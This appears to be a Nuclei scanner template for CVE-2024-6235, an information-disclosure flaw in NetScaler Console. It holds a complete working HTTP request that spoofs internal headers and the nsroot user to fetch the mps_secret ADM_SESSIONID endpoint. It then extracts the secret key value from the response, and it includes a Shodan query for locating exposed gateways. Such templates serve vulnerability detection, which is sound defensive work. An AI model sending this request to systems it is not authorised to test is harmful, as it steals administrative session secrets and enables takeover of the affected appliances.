CVE-2024-6235: NetScaler Console - Sensitive Information Disclosure

id: CVE-2024-6235

info:
  name: NetScaler Console - Sensitive Information Disclosure
  author: DhiyaneshDk
  severity: critical
  description: |
    Sensitive information disclosure in NetScaler Console
  reference:
    - https://support.citrix.com/article/CTX677998
    - https://attackerkb.com/topics/7zebEgmGLs/cve-2024-6235
    - https://nvd.nist.gov/vuln/detail/cve-2024-6235
  classification:
    epss-score: 0.85785
    epss-percentile: 0.99338
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"NetScaler Gateway"
  tags: cve,cve2024,netscaler,exposure

http:
  - raw:
      - |
        GET /internal/v2/config/mps_secret/ADM_SESSIONID HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/admin_ui/mas/ent/html/main.html
        Content-Type: application/json
        If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
        NITRO_WEB_APPLICATION: true
        Tenant-Name: Owner
        User-Name: nsroot
        Mps-Internal-Request: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"mps_secret":'
          - 'ADM_SESSIONID'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: adm_sessionid_key
        json:
          - '.mps_secret[0].key_value'
# digest: 4b0a00483046022100f181da37c0bfc0e4d7d00745a0deebc3dd08657792718cb6653ac7ef52fa1970022100ffec9632f3b4ff65cef0d4b83a24a7b9020a3037d0c15989bda2d810ec3ec541:922c64590222798bb761d5b6d8e72950